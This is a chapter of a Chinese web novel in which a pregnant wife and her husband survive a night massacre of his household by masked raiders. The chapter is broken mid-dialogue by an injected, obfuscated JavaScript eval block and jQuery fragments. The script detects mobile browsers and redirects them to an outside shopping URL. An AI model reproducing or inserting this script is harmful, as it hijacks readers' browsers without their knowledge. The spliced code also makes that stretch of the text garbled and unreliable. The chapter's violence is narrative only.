婚后很长一段时间,黎家都无事发生。
也再没有人给黎玘送奇怪的东西。
日子回归平静,黎玘渐渐便淡忘了那些荒唐的事,重拾生趣,与苏玥如胶似漆,感情一日比一日甜蜜。
不知不觉,便过了三年。
这日,苏玥正坐在院中一株梨树下,认真缝着一顶虎头帽。
她与黎玘的孩子大约在明年开春就要出世。
新的一年属虎,她便想着给自己的虎宝宝做一顶虎头帽。
奈何孕期实在不自由,一顶小小的帽子竟让她缝了半个月。黎家人管她管得紧,她只能每天偷偷拿出来缝一点。
眼下好不容易就要完工了,却一个不防,被黎玘从身后抢走了她的针线。
“你好烦,还给我,我就快缝好了。”
苏玥微恼道。
黎玘将捏着针线的手藏到身后,冲她无奈笑道:“女子怀着身孕不能碰针线。”
苏玥反驳:“那是谣言,你迷信的样子真讨厌。”
黎玘:“……”
“这样,”黎玘拉她坐下,拈着针同她商量,“不如夫人口头上指导我一下,我来缝可好?”
他缝?
苏玥觉着有趣,便点头依他:“行吧。”
反正就剩一只虎耳朵了,简单缝上去固定好就行,手艺再差也不至于毁了她的心血。
然而她还是低估了黎玘的破坏力。
明明这人每戳一个针眼都十分用心,可为什么……缝上去的那只耳朵变得皱巴巴的,歪歪扭扭,瞧着很是滑稽?
“缝好了。”
黎玘咬断多余的线,把帽子递到了苏玥手中。
苏玥:“……”
救命。
面对妻子嫌弃的目光,黎玘默了下,说:“是有点丑。要不我把线拆了,重新缝?”
未等苏玥答话,他便拿起剪刀去拆线。
苏玥瞪着他握剪刀的笨拙动作,生怕他一个失手剪坏了虎耳朵,忙急声制止:“停!你给我放下!”
黎玘:“……”
“哦。”
他便乖乖将虎头帽放在了面前的石桌上。
苏玥又伸手拿了起来,叹气道:“丑归丑,但到底是亲爹缝的,想必将来孩子戴上也不会介意。就这样吧,也算留个纪念了。”
“……”
黎玘哭笑不得。
心里已经暗暗决定,要找个时间拿去给他娘帮忙改改。
“阿玥,我扶你回屋休息吧。”
“我要你抱我。”
“好。”
黎玘弯腰从凳子上抱起苏玥,稳稳当当地朝着房间走去。
晚上。
黎玘刚熄灯躺进被窝里,苏玥便忽然戳了戳他的肩膀,说:
“夫君,我们的孩子还有四个月便要出生了。那个时候是不是还很冷啊?他那么小,会不会冻着他?”
“不会。”黎玘温柔地摸了摸她的头,“我们准备了厚厚的襁褓和衣服,他一降生,就会被温暖环抱,那么多人围着疼他,幸福着呢。”
“——就像你小时候一样?”
“嗯。”
……
两人有问有答,讲话声越来越轻,最终在絮絮的话音中相拥而眠。
及至夜半时分。
所有人都熟睡了的时候。
一群蒙面黑衣人从附近的小巷子里穿梭而来,停步在黎家墙外。
他们解下腰上携带的钩索,齐齐朝墙内甩去。
只听见一点细微的摩擦声,那一只只铁爪便牢牢咬进了墙砖。
这些黑衣人拽着绳索,一个接一个地翻进墙去。
似提前受人指点,他们进入黎家后,竟对整个宅子的布局都非常熟悉。首先就冲到几名护院的住处,先行将其砍杀。
而后又掉头往家丁和丫鬟的屋子里去,一一灭口。
有人在睡梦中就被抹了喉咙,死得无声无息,徒留一滩鲜血浸染了床铺。
也有人猛然惊醒,与歹人四目相对,却还来不及张口呼救,便被冷寒的刀光劈开头颅,血溅墙壁,死相惊恐。
顷刻间,数十人丧命于暗夜鬼刀之下。
黑衣人继续分工。
一批人负责搜索宅中各个角落,极力排除漏网之鱼。
一批人负责翻找财物,不管是摆放出来的瓷器、字画,还是藏在箱格中的奇珍异宝,凡是肉眼可见的值钱之物,一概夺走。
还有一批人,负责抓活口。
——被唯一指定的活口。
.
“少爷,少爷,快醒醒——”
元宝用力拍打着黎玘的房门,叫声里已夹杂着无比恐慌的哭腔。若非他夜里有频繁起夜的毛病,也躲不过这一劫。
黎玘被吵醒,忙披衣下床去开门。
门一打开,就对上元宝浑身颤抖、泪流满面的模样。
“……怎么了?”
黎玘皱眉,心也不自觉发紧。
“少爷快跑!”元宝泪目催促道,“家里的人快被歹徒杀光了,趁他们这会儿还没找过来,您赶紧带着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320896|199046||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少夫人逃命吧!”
“夫君——”
苏玥也听到了元宝的话,急得赤足下地,跑到黎玘身边,紧张地抓着他的手臂。
黎玘强作冷静,问元宝道:“我爹娘他们如何了?”
元宝摇了摇头,哽咽着说:“我不知道,但仆院里住的家丁和丫鬟全都死了……”
黎玘心口一窒,却无暇悲伤,只立即将苏玥抱回榻边坐着,用最快的速度帮她穿好衣裳和鞋子,然后又给她罩上一件厚实的斗篷。
他把苏玥交给元宝,忍泪嘱托道:“你先带阿玥从小门出去,找个安全的地方躲起来,我去看看我爹娘,随后就来找你们。”
“不!”
苏玥不肯跟元宝先走,紧紧抱住黎玘说:“我不走。今日便是死,我也不会和你分开。”
黎玘心痛如绞,无力道:“阿玥,你听话。”
又沉声命令元宝:“带她走!”
情况太过紧急,已容不得半分犹豫,元宝只好将苏玥从他身上拉开,硬拽着往小门跑。
黎玘则一径冲向父母的住处,心存一丝侥幸,想要救下爹娘的性命。
怎料……
入眼一片狼藉,他爹娘的房间被搜得乱七八糟,空箱子、空盒子扔了一地。
夫妻俩的尸身却静静躺在床上。
除了被褥和床帐上溅到的血污,根本看不到一丁点反抗的痕迹。
是什么人,能够悄无声息地潜入他家里,熟门熟路地杀害他的家人?
黎玘失力地跪倒在地,脑中快速思忖,一下子想到苏玥,便慌得起身,朝小门狂扑而去。
疾奔赶到时,正正撞见元宝替苏玥挡刀的一幕。
“元宝!元宝!”
他冲上前,扶起重伤倒地的元宝,试图给对方止血,却无能为力。
元宝伤势已然致命,口中不断涌出血来,但仍强撑着对他说道:
“少爷,这次我勇敢了……”
黎玘热泪盈眶,朝他点点头。
元宝释怀地笑了笑,最后抬手指向眼前的一群黑衣人,提醒说:“少爷,他们连这道小门的位置都知道,一定,一定……”
余下的话还没说完,元宝便大睁着眼睛咽了气。
黎玘将掌心轻轻覆在元宝眼睑上,咬着牙向下抚平。
元宝这才合上双目。
一直等到黎玘把元宝放平在地上躺着,那群黑衣人才又一次逼近过来。
“杀了那个女的!”
黎玘闻言怔了一瞬,连忙将苏玥护到身后。